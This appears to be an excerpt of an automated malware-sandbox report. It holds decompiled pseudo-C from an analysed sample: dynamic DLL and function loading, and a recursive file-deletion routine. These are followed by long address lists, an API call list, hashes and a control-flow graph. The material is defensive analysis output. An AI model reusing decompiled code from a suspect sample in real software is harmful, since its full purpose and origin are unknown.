                                                                                                                												 *(_t332 + 0x100c) = GetProcAddress( *(_t332 + 0x1008), _t231 & 0x0000ffff);
                                                                                                                											}
                                                                                                                										}
                                                                                                                									}
                                                                                                                								}
                                                                                                                								__eflags = _v52 - _t283;
                                                                                                                								if(_v52 != _t283) {
                                                                                                                									L178:
                                                                                                                									_t325[lstrlenW(_t325)] = 0x57;
                                                                                                                									_t229 = E706916BD( *(_t332 + 0x1008), _t325);
                                                                                                                									__eflags = _t229 - _t283;
                                                                                                                									if(_t229 != _t283) {
                                                                                                                										L166:
                                                                                                                										 *(_t332 + 0x100c) = _t229;
                                                                                                                										goto L182;
                                                                                                                									}
                                                                                                                									__eflags =  *(_t332 + 0x100c) - _t283;
                                                                                                                									L180:
                                                                                                                									if(__eflags != 0) {
                                                                                                                										goto L182;
                                                                                                                									}
                                                                                                                									L181:
                                                                                                                									_t206 = _t332 + 4;
                                                                                                                									 *_t206 =  *(_t332 + 4) | 0xffffffff;
                                                                                                                									__eflags =  *_t206;
                                                                                                                									goto L182;
                                                                                                                								} else {
                                                                                                                									__eflags =  *(_t332 + 0x100c) - _t283;
                                                                                                                									if( *(_t332 + 0x100c) != _t283) {
                                                                                                                										goto L182;
                                                                                                                									}
                                                                                                                									goto L178;
                                                                                                                								}
                                                                                                                							}
                                                                                                                							_t234 = LoadLibraryW(_t324);
                                                                                                                							__eflags = _t234 - _t283;
                                                                                                                							 *(_t332 + 0x1008) = _t234;
                                                                                                                							if(_t234 == _t283) {
                                                                                                                								goto L181;
                                                                                                                							}
                                                                                                                							goto L171;
                                                                                                                						}
                                                                                                                						_t188 = _t332 + 0x808; // 0x808
                                                                                                                						_t236 = E706913B1(_t188);
                                                                                                                						 *(_t332 + 0x100c) = _t236;
                                                                                                                						__eflags = _t236 - _t283;
                                                                                                                						goto L180;
                                                                                                                					}
                                                                                                                					_t237 = _t225 - 1;
                                                                                                                					if(_t237 == 0) {
                                                                                                                						_t185 = _t332 + 0x808; // 0x808
                                                                                                                						_t238 = _t185;
                                                                                                                						__eflags =  *_t238 - _t283;
                                                                                                                						if( *_t238 == _t283) {
                                                                                                                							goto L182;
                                                                                                                						}
                                                                                                                						_t229 = E706913B1(_t238);
                                                                                                                						L165:
                                                                                                                						goto L166;
                                                                                                                					}
                                                                                                                					if(_t237 != 1) {
                                                                                                                						goto L182;
                                                                                                                					}
                                                                                                                					_t81 = _t332 + 8; // 0x8
                                                                                                                					_t284 = _t81;
                                                                                                                					_t326 = E706913B1(_t81);
                                                                                                                					 *(_t332 + 0x1008) = _t326;
                                                                                                                					if(_t326 == 0) {
                                                                                                                						goto L181;
                                                                                                                					}
                                                                                                                					 *(_t332 + 0x104c) =  *(_t332 + 0x104c) & 0x00000000;
                                                                                                                					 *((intOrPtr*)(_t332 + 0x1050)) = E706912CC(_t284);
                                                                                                                					 *(_t332 + 0x103c) =  *(_t332 + 0x103c) & 0x00000000;
                                                                                                                					 *((intOrPtr*)(_t332 + 0x1048)) = 1;
                                                                                                                					 *((intOrPtr*)(_t332 + 0x1038)) = 1;
                                                                                                                					_t90 = _t332 + 0x808; // 0x808
                                                                                                                					_t229 =  *(_t326->i + E706913B1(_t90) * 4);
                                                                                                                					goto L165;
                                                                                                                				}
                                                                                                                			}


































































                                                                                                                0x70691c07
                                                                                                                0x70691c0a
                                                                                                                0x70691c0d
                                                                                                                0x70691c10
                                                                                                                0x70691c13
                                                                                                                0x70691c16
                                                                                                                0x70691c19
                                                                                                                0x70691c1b
                                                                                                                0x70691c1e
                                                                                                                0x70691c21
                                                                                                                0x70691c26
                                                                                                                0x70691c29
                                                                                                                0x70691c31
                                                                                                                0x70691c39
                                                                                                                0x70691c3b
                                                                                                                0x70691c3e
                                                                                                                0x70691c46
                                                                                                                0x70691c46
                                                                                                                0x70691c4b
                                                                                                                0x70691c4e
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70691c5b
                                                                                                                0x70691c60
                                                                                                                0x70691c62
                                                                                                                0x70691cf4
                                                                                                                0x70691cf4
                                                                                                                0x70691cf4
                                                                                                                0x70691cf8
                                                                                                                0x70691cfb
                                                                                                                0x70691cfd
                                                                                                                0x70691d1f
                                                                                                                0x70691d21
                                                                                                                0x70691d24
                                                                                                                0x70691d2d
                                                                                                                0x70691d33
                                                                                                                0x70691d35
                                                                                                                0x70691d3b
                                                                                                                0x70691d3b
                                                                                                                0x70691d41
                                                                                                                0x70691d44
                                                                                                                0x70691d44
                                                                                                                0x70691d47
                                                                                                                0x70691d47
                                                                                                                0x70691d4d
                                                                                                                0x70691d4f
                                                                                                                0x70691d4f
                                                                                                                0x70691d51
                                                                                                                0x70691d54
                                                                                                                0x70691d57
                                                                                                                0x70691d5d
                                                                                                                0x70691d63
                                                                                                                0x70691d66
                                                                                                                0x70691d8a
                                                                                                                0x70691d8d
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70691d90
                                                                                                                0x70691d92
                                                                                                                0x70691da0
                                                                                                                0x70691da3
                                                                                                                0x70691da5
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70691da7
                                                                                                                0x70691da7
                                                                                                                0x70691da7
                                                                                                                0x70691dad
                                                                                                                0x70691daf
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70691db1
                                                                                                                0x70691db3
                                                                                                                0x70691db5
                                                                                                                0x70691db7
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70691db7
                                                                                                                0x70691db9
                                                                                                                0x70691dbb
                                                                                                                0x70691dbd
                                                                                                                0x70691dbd
                                                                                                                0x70691dc3
                                                                                                                0x70691dc9
                                                                                                                0x70691dcb
                                                                                                                0x70691ddf
                                                                                                                0x70691ddf
                                                                                                                0x70691de1
                                                                                                                0x70691dcd
                                                                                                                0x70691dd3
                                                                                                                0x70691dd6
                                                                                                                0x70691dd6
                                                                                                                0x00000000
                                                                                                                0x70691d68
                                                                                                                0x70691d68
                                                                                                                0x70691d68
                                                                                                                0x70691d69
                                                                                                                0x70691d71
                                                                                                                0x70691d75
                                                                                                                0x70691d7b
                                                                                                                0x70691d7f
                                                                                                                0x00000000
                                                                                                                0x70691d7f
                                                                                                                0x70691d6b
                                                                                                                0x70691d6b
                                                                                                                0x70691d6c
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70691d6e
                                                                                                                0x70691d6f
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70691d6f
                                                                                                                0x70691cff
                                                                                                                0x70691d00
                                                                                                                0x70691d09
                                                                                                                0x70691d0c
                                                                                                                0x70691d19
                                                                                                                0x70691d19
                                                                                                                0x70691d0e
                                                                                                                0x70691d0e
                                                                                                                0x70691de7
                                                                                                                0x70691dea
                                                                                                                0x70691dee
                                                                                                                0x70691e61
                                                                                                                0x70691e65
                                                                                                                0x70691c43
                                                                                                                0x00000000
                                                                                                                0x70691c43
                                                                                                                0x00000000
                                                                                                                0x70691e65
                                                                                                                0x70691cfd
                                                                                                                0x70691c68
                                                                                                                0x70691c6b
                                                                                                                0x70691cce
                                                                                                                0x70691cd1
                                                                                                                0x70691ce3
                                                                                                                0x70691ce3
                                                                                                                0x70691ce6
                                                                                                                0x70691df3
                                                                                                                0x70691df6
                                                                                                                0x70691df6
                                                                                                                0x70691df8
                                                                                                                0x706921ae
                                                                                                                0x706921c6
                                                                                                                0x706921c6
                                                                                                                0x706921c9
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706921b3
                                                                                                                0x706921b4
                                                                                                                0x706921b7
                                                                                                                0x706921ba
                                                                                                                0x70692244
                                                                                                                0x7069224b
                                                                                                                0x70692251
                                                                                                                0x70692255
                                                                                                                0x70691e5c
                                                                                                                0x70691e5d
                                                                                                                0x70691e5d
                                                                                                                0x70691e5e
                                                                                                                0x00000000
                                                                                                                0x70691e5e
                                                                                                                0x706921c0
                                                                                                                0x706921c3
                                                                                                                0x706921c3
                                                                                                                0x706921cb
                                                                                                                0x706921ce
                                                                                                                0x70692238
                                                                                                                0x70691e51
                                                                                                                0x70691e54
                                                                                                                0x70691e57
                                                                                                                0x70691e5a
                                                                                                                0x70691e5a
                                                                                                                0x00000000
                                                                                                                0x70691e5a
                                                                                                                0x706921d0
                                                                                                                0x706921d3
                                                                                                                0x706921da
                                                                                                                0x706921da
                                                                                                                0x706921dd
                                                                                                                0x706921e1
                                                                                                                0x706921f5
                                                                                                                0x706921f5
                                                                                                                0x706921f8
                                                                                                                0x706921fc
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706921fe
                                                                                                                0x70692202
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70692204
                                                                                                                0x7069220b
                                                                                                                0x7069220b
                                                                                                                0x70692211
                                                                                                                0x70692214
                                                                                                                0x70692230
                                                                                                                0x70692216
                                                                                                                0x7069221f
                                                                                                                0x70692222
                                                                                                                0x70692222
                                                                                                                0x00000000
                                                                                                                0x70692214
                                                                                                                0x706921e3
                                                                                                                0x706921e6
                                                                                                                0x706921ea
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706921ec
                                                                                                                0x00000000
                                                                                                                0x706921ec
                                                                                                                0x706921d5
                                                                                                                0x706921d8
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706921d8
                                                                                                                0x70691dfe
                                                                                                                0x70691dfe
                                                                                                                0x70691dff
                                                                                                                0x70691f49
                                                                                                                0x70691f49
                                                                                                                0x70691f50
                                                                                                                0x70691f53
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70691f60
                                                                                                                0x00000000
                                                                                                                0x7069214b
                                                                                                                0x7069214e
                                                                                                                0x70692151
                                                                                                                0x70692151
                                                                                                                0x70692152
                                                                                                                0x70692153
                                                                                                                0x70692156
                                                                                                                0x70692159
                                                                                                                0x7069215c
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x7069215e
                                                                                                                0x7069215e
                                                                                                                0x70692162
                                                                                                                0x7069217a
                                                                                                                0x7069217d
                                                                                                                0x70692181
                                                                                                                0x70692187
                                                                                                                0x00000000
                                                                                                                0x70692187
                                                                                                                0x70692164
                                                                                                                0x70692164
                                                                                                                0x70692167
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70692169
                                                                                                                0x7069216c
                                                                                                                0x7069216e
                                                                                                                0x7069216f
                                                                                                                0x7069216f
                                                                                                                0x7069216f
                                                                                                                0x70692170
                                                                                                                0x70692173
                                                                                                                0x70692176
                                                                                                                0x70692177
                                                                                                                0x70692151
                                                                                                                0x70692152
                                                                                                                0x70692153
                                                                                                                0x70692156
                                                                                                                0x70692159
                                                                                                                0x7069215c
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x7069215c
                                                                                                                0x00000000
                                                                                                                0x70691fa7
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70691fb3
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70691f9a
                                                                                                                0x70691f9e
                                                                                                                0x70691fa2
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x7069211c
                                                                                                                0x70692120
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70692126
                                                                                                                0x7069212f
                                                                                                                0x70692136
                                                                                                                0x7069213e
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70692083
                                                                                                                0x70692083
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70691fbc
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706921a6
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x7069208b
                                                                                                                0x7069208d
                                                                                                                0x7069208d
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70692196
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x7069219a
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706921a2
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706920d3
                                                                                                                0x706920d5
                                                                                                                0x706920d5
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x7069209d
                                                                                                                0x7069209f
                                                                                                                0x7069209f
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706920af
                                                                                                                0x706920b1
                                                                                                                0x706920b1
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706920e1
                                                                                                                0x706920e3
                                                                                                                0x706920e3
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706920ba
                                                                                                                0x706920bc
                                                                                                                0x706920bc
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706920c1
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x7069219e
                                                                                                                0x706921a8
                                                                                                                0x706921a8
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706920ec
                                                                                                                0x706920f0
                                                                                                                0x706920f5
                                                                                                                0x706920f8
                                                                                                                0x706920f9
                                                                                                                0x706920fc
                                                                                                                0x70692102
                                                                                                                0x70692102
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x7069218e
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706920c5
                                                                                                                0x706920c7
                                                                                                                0x706920c7
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70691fc3
                                                                                                                0x70691fc3
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706920da
                                                                                                                0x706920dc
                                                                                                                0x706920dc
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70691f67
                                                                                                                0x70691f6d
                                                                                                                0x70691f70
                                                                                                                0x70691f72
                                                                                                                0x70691f72
                                                                                                                0x70691f75
                                                                                                                0x70691f79
                                                                                                                0x70691f86
                                                                                                                0x70691f88
                                                                                                                0x70691f8e
                                                                                                                0x70691f8e
                                                                                                                0x70691f8e
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x7069208e
                                                                                                                0x7069208e
                                                                                                                0x70692090
                                                                                                                0x70692097
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706920d6
                                                                                                                0x706920d6
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706920a0
                                                                                                                0x706920a0
                                                                                                                0x706920a2
                                                                                                                0x706920a9
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706920b2
                                                                                                                0x706920b2
                                                                                                                0x706920b4
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706920e4
                                                                                                                0x706920e4
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706920bd
                                                                                                                0x706920bd
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x7069210a
                                                                                                                0x7069210e
                                                                                                                0x70692113
                                                                                                                0x70692116
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706920c8
                                                                                                                0x706920c8
                                                                                                                0x706920cb
                                                                                                                0x706920cd
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706920dd
                                                                                                                0x706920dd
                                                                                                                0x706920e6
                                                                                                                0x706920e6
                                                                                                                0x70691fc5
                                                                                                                0x70691fc5
                                                                                                                0x70691fc8
                                                                                                                0x70691fcf
                                                                                                                0x70691fd1
                                                                                                                0x70691fd3
                                                                                                                0x70691fda
                                                                                                                0x70691fdd
                                                                                                                0x70691fe2
                                                                                                                0x70691fe4
                                                                                                                0x70691fe6
                                                                                                                0x70691fea
                                                                                                                0x70691ff0
                                                                                                                0x70691ff6
                                                                                                                0x70691ff6
                                                                                                                0x70691ff8
                                                                                                                0x70691ff8
                                                                                                                0x70691ff9
                                                                                                                0x70691ff9
                                                                                                                0x70691ffd
                                                                                                                0x70692003
                                                                                                                0x70692005
                                                                                                                0x70692009
                                                                                                                0x7069200e
                                                                                                                0x7069200e
                                                                                                                0x70692010
                                                                                                                0x70692010
                                                                                                                0x70692013
                                                                                                                0x70692016
                                                                                                                0x7069201f
                                                                                                                0x70692025
                                                                                                                0x70692028
                                                                                                                0x70692028
                                                                                                                0x7069202a
                                                                                                                0x7069202d
                                                                                                                0x70692033
                                                                                                                0x70692039
                                                                                                                0x70692039
                                                                                                                0x7069203b
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70692041
                                                                                                                0x70692041
                                                                                                                0x70692045
                                                                                                                0x7069204c
                                                                                                                0x70692070
                                                                                                                0x70692070
                                                                                                                0x70692074
                                                                                                                0x70692076
                                                                                                                0x70692079
                                                                                                                0x70692079
                                                                                                                0x7069207c
                                                                                                                0x7069207c
                                                                                                                0x00000000
                                                                                                                0x70692074
                                                                                                                0x70692051
                                                                                                                0x70692054
                                                                                                                0x70692054
                                                                                                                0x7069205b
                                                                                                                0x7069205d
                                                                                                                0x70692060
                                                                                                                0x70692067
                                                                                                                0x70692068
                                                                                                                0x7069206e
                                                                                                                0x7069206e
                                                                                                                0x00000000
                                                                                                                0x7069206e
                                                                                                                0x70692062
                                                                                                                0x70692065
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70692065
                                                                                                                0x70691ff2
                                                                                                                0x70691ff4
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70691f60
                                                                                                                0x70691e05
                                                                                                                0x70691e05
                                                                                                                0x70691e06
                                                                                                                0x70691f46
                                                                                                                0x00000000
                                                                                                                0x70691f46
                                                                                                                0x70691e0c
                                                                                                                0x70691e0d
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70691e13
                                                                                                                0x70691e16
                                                                                                                0x70691f0b
                                                                                                                0x70691f0b
                                                                                                                0x70691f0e
                                                                                                                0x70691f23
                                                                                                                0x70691f25
                                                                                                                0x70691f25
                                                                                                                0x70691f26
                                                                                                                0x70691f29
                                                                                                                0x70691f2c
                                                                                                                0x70691f38
                                                                                                                0x70691f38
                                                                                                                0x70691f38
                                                                                                                0x70691f2e
                                                                                                                0x70691f2e
                                                                                                                0x70691f2e
                                                                                                                0x70691f3e
                                                                                                                0x00000000
                                                                                                                0x70691f3e
                                                                                                                0x70691f10
                                                                                                                0x70691f10
                                                                                                                0x70691f11
                                                                                                                0x70691f1f
                                                                                                                0x00000000
                                                                                                                0x70691f1f
                                                                                                                0x70691f14
                                                                                                                0x70691f15
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70691f1b
                                                                                                                0x00000000
                                                                                                                0x70691f1b
                                                                                                                0x70691e1c
                                                                                                                0x70691f07
                                                                                                                0x00000000
                                                                                                                0x70691f07
                                                                                                                0x70691e22
                                                                                                                0x70691e22
                                                                                                                0x70691e25
                                                                                                                0x70691e4e
                                                                                                                0x00000000
                                                                                                                0x70691e4e
                                                                                                                0x70691e27
                                                                                                                0x70691e27
                                                                                                                0x70691e2a
                                                                                                                0x70691e44
                                                                                                                0x00000000
                                                                                                                0x70691e44
                                                                                                                0x70691e2c
                                                                                                                0x70691e2c
                                                                                                                0x70691e2f
                                                                                                                0x70691e3e
                                                                                                                0x00000000
                                                                                                                0x70691e3e
                                                                                                                0x70691e32
                                                                                                                0x70691e33
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70691e35
                                                                                                                0x00000000
                                                                                                                0x70691cec
                                                                                                                0x70691cec
                                                                                                                0x70691cef
                                                                                                                0x00000000
                                                                                                                0x70691cef
                                                                                                                0x70691ce6
                                                                                                                0x70691cd3
                                                                                                                0x70691cd8
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70691cda
                                                                                                                0x70691cdd
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70691cdd
                                                                                                                0x70691c6d
                                                                                                                0x70691c70
                                                                                                                0x70691ca6
                                                                                                                0x70691ca9
                                                                                                                0x00000000
                                                                                                                0x70691caf
                                                                                                                0x70691cb1
                                                                                                                0x70691cb5
                                                                                                                0x70691cbc
                                                                                                                0x70691cc3
                                                                                                                0x70691cc6
                                                                                                                0x70691cc9
                                                                                                                0x00000000
                                                                                                                0x70691cc9
                                                                                                                0x70691ca9
                                                                                                                0x70691c72
                                                                                                                0x70691c73
                                                                                                                0x70691c8e
                                                                                                                0x70691c91
                                                                                                                0x00000000
                                                                                                                0x70691c97
                                                                                                                0x70691c97
                                                                                                                0x70691c9e
                                                                                                                0x70691ca1
                                                                                                                0x00000000
                                                                                                                0x70691ca1
                                                                                                                0x70691c91
                                                                                                                0x70691c78
                                                                                                                0x00000000
                                                                                                                0x70691c7e
                                                                                                                0x70691c7e
                                                                                                                0x70691c85
                                                                                                                0x00000000
                                                                                                                0x70691c85
                                                                                                                0x70691c78
                                                                                                                0x70691e74
                                                                                                                0x70691e79
                                                                                                                0x70691e7e
                                                                                                                0x70691e82
                                                                                                                0x70692355
                                                                                                                0x7069235b
                                                                                                                0x70691e94
                                                                                                                0x70691e96
                                                                                                                0x70691e97
                                                                                                                0x7069227e
                                                                                                                0x7069227e
                                                                                                                0x70692281
                                                                                                                0x70692284
                                                                                                                0x706922a1
                                                                                                                0x706922a7
                                                                                                                0x706922a9
                                                                                                                0x706922af
                                                                                                                0x706922c6
                                                                                                                0x706922c6
                                                                                                                0x706922c6
                                                                                                                0x706922d3
                                                                                                                0x706922d9
                                                                                                                0x706922dc
                                                                                                                0x706922e2
                                                                                                                0x706922e4
                                                                                                                0x706922e8
                                                                                                                0x706922ea
                                                                                                                0x706922f1
                                                                                                                0x706922f6
                                                                                                                0x706922f9
                                                                                                                0x706922fb
                                                                                                                0x70692300
                                                                                                                0x70692312
                                                                                                                0x70692312
                                                                                                                0x70692300
                                                                                                                0x706922f9
                                                                                                                0x706922e8
                                                                                                                0x70692318
                                                                                                                0x7069231b
                                                                                                                0x70692325
                                                                                                                0x7069232d
                                                                                                                0x7069233a
                                                                                                                0x70692340
                                                                                                                0x70692343
                                                                                                                0x70692273
                                                                                                                0x70692273
                                                                                                                0x00000000
                                                                                                                0x70692273
                                                                                                                0x70692349
                                                                                                                0x7069234f
                                                                                                                0x7069234f
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70692351
                                                                                                                0x70692351
                                                                                                                0x70692351
                                                                                                                0x70692351
                                                                                                                0x00000000
                                                                                                                0x7069231d
                                                                                                                0x7069231d
                                                                                                                0x70692323
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70692323
                                                                                                                0x7069231b
                                                                                                                0x706922b2
                                                                                                                0x706922b8
                                                                                                                0x706922ba
                                                                                                                0x706922c0
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x706922c0
                                                                                                                0x70692286
                                                                                                                0x7069228d
                                                                                                                0x70692293
                                                                                                                0x70692299
                                                                                                                0x00000000
                                                                                                                0x70692299
                                                                                                                0x70691e9d
                                                                                                                0x70691e9e
                                                                                                                0x7069225d
                                                                                                                0x7069225d
                                                                                                                0x70692263
                                                                                                                0x70692266
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x7069226d
                                                                                                                0x70692272
                                                                                                                0x00000000
                                                                                                                0x70692272
                                                                                                                0x70691ea5
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70691eab
                                                                                                                0x70691eab
                                                                                                                0x70691eb4
                                                                                                                0x70691eb9
                                                                                                                0x70691ebf
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x70691ec5
                                                                                                                0x70691ed2
                                                                                                                0x70691ed8
                                                                                                                0x70691ee2
                                                                                                                0x70691ee8
                                                                                                                0x70691ef0
                                                                                                                0x70691f00
                                                                                                                0x00000000
                                                                                                                0x70691f00

                                                                                                                APIs
                                                                                                                  • Part of subcall function 706912BB: GlobalAlloc.KERNELBASE(00000040,?,706912DB,?,7069137F,00000019,706911CA,-000000A0), ref: 706912C5
                                                                                                                • GlobalAlloc.KERNELBASE(00000040,00001CA4), ref: 70691D2D
                                                                                                                • lstrcpyW.KERNEL32(00000008,?), ref: 70691D75
                                                                                                                • lstrcpyW.KERNEL32(00000808,?), ref: 70691D7F
                                                                                                                • GlobalFree.KERNEL32(00000000), ref: 70691D92
                                                                                                                • GlobalFree.KERNEL32(?), ref: 70691E74
                                                                                                                • GlobalFree.KERNEL32(?), ref: 70691E79
                                                                                                                • GlobalFree.KERNEL32(?), ref: 70691E7E
                                                                                                                • GlobalFree.KERNEL32(00000000), ref: 70692068
                                                                                                                • lstrcpyW.KERNEL32(?,?), ref: 70692222
                                                                                                                • GetModuleHandleW.KERNEL32(00000008), ref: 706922A1
                                                                                                                • LoadLibraryW.KERNEL32(00000008), ref: 706922B2
                                                                                                                • GetProcAddress.KERNEL32(?,?), ref: 7069230C
                                                                                                                • lstrlenW.KERNEL32(00000808), ref: 70692326
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1543867973.0000000070691000.00000020.00000001.01000000.00000005.sdmp, Offset: 70690000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1543809377.0000000070690000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1543924520.0000000070694000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1543961857.0000000070696000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_70690000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
                                                                                                                • String ID:
                                                                                                                • API String ID: 245916457-0
                                                                                                                • Opcode ID: d459f218374dd125509771e3b630a35ea2cb661df996d911f5787fd7f3c17e10
                                                                                                                • Instruction ID: 1d2655a5bfea3d7d2db317a8ef3e08b681fd3add75c05615c5dd34c4d50cd2c4
                                                                                                                • Opcode Fuzzy Hash: d459f218374dd125509771e3b630a35ea2cb661df996d911f5787fd7f3c17e10
                                                                                                                • Instruction Fuzzy Hash: 8B22CCB1D2020ADECB118FA4C9A06EDB7F6FF04305F31452ED166EAAC0D7749A81DB58
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 792 405c49-405c6f call 405f14 795 405c71-405c83 DeleteFileW 792->795 796 405c88-405c8f 792->796 797 405e05-405e09 795->797 798 405c91-405c93 796->798 799 405ca2-405cb2 call 40653d 796->799 800 405db3-405db8 798->800 801 405c99-405c9c 798->801 805 405cc1-405cc2 call 405e58 799->805 806 405cb4-405cbf lstrcatW 799->806 800->797 804 405dba-405dbd 800->804 801->799 801->800 807 405dc7-405dcf call 406873 804->807 808 405dbf-405dc5 804->808 809 405cc7-405ccb 805->809 806->809 807->797 815 405dd1-405de5 call 405e0c call 405c01 807->815 808->797 813 405cd7-405cdd lstrcatW 809->813 814 405ccd-405cd5 809->814 816 405ce2-405cfe lstrlenW FindFirstFileW 813->816 814->813 814->816 832 405de7-405dea 815->832 833 405dfd-405e00 call 40559f 815->833 817 405d04-405d0c 816->817 818 405da8-405dac 816->818 820 405d2c-405d40 call 40653d 817->820 821 405d0e-405d16 817->821 818->800 823 405dae 818->823 834 405d42-405d4a 820->834 835 405d57-405d62 call 405c01 820->835 824 405d18-405d20 821->824 825 405d8b-405d9b FindNextFileW 821->825 823->800 824->820 828 405d22-405d2a 824->828 825->817 831 405da1-405da2 FindClose 825->831 828->820 828->825 831->818 832->808 836 405dec-405dfb call 40559f call 4062fd 832->836 833->797 834->825 837 405d4c-405d55 call 405c49 834->837 845 405d83-405d86 call 40559f 835->845 846 405d64-405d67 835->846 836->797 837->825 845->825 849 405d69-405d79 call 40559f call 4062fd 846->849 850 405d7b-405d81 846->850 849->825 850->825
                                                                                                                C-Code - Quality: 98%
                                                                                                                			E00405C49(void* __eflags, signed int _a4, signed int _a8) {
                                                                                                                				signed int _v8;
                                                                                                                				signed int _v12;
                                                                                                                				short _v556;
                                                                                                                				short _v558;
                                                                                                                				struct _WIN32_FIND_DATAW _v604;
                                                                                                                				signed int _t38;
                                                                                                                				signed int _t52;
                                                                                                                				signed int _t55;
                                                                                                                				signed int _t62;
                                                                                                                				void* _t64;
                                                                                                                				signed char _t65;
                                                                                                                				WCHAR* _t66;
                                                                                                                				void* _t67;
                                                                                                                				WCHAR* _t68;
                                                                                                                				void* _t70;
                                                                                                                
                                                                                                                				_t65 = _a8;
                                                                                                                				_t68 = _a4;
                                                                                                                				_v8 = _t65 & 0x00000004;
                                                                                                                				_t38 = E00405F14(__eflags, _t68);
                                                                                                                				_v12 = _t38;
                                                                                                                				if((_t65 & 0x00000008) != 0) {
                                                                                                                					_t62 = DeleteFileW(_t68); // executed
                                                                                                                					asm("sbb eax, eax");
                                                                                                                					_t64 =  ~_t62 + 1;
                                                                                                                					 *0x434f88 =  *0x434f88 + _t64;
                                                                                                                					return _t64;
                                                                                                                				}
                                                                                                                				_a4 = _t65;
                                                                                                                				_t8 =  &_a4;
                                                                                                                				 *_t8 = _a4 & 0x00000001;
                                                                                                                				__eflags =  *_t8;
                                                                                                                				if( *_t8 == 0) {
                                                                                                                					L5:
                                                                                                                					E0040653D(0x42f270, _t68);
                                                                                                                					__eflags = _a4;
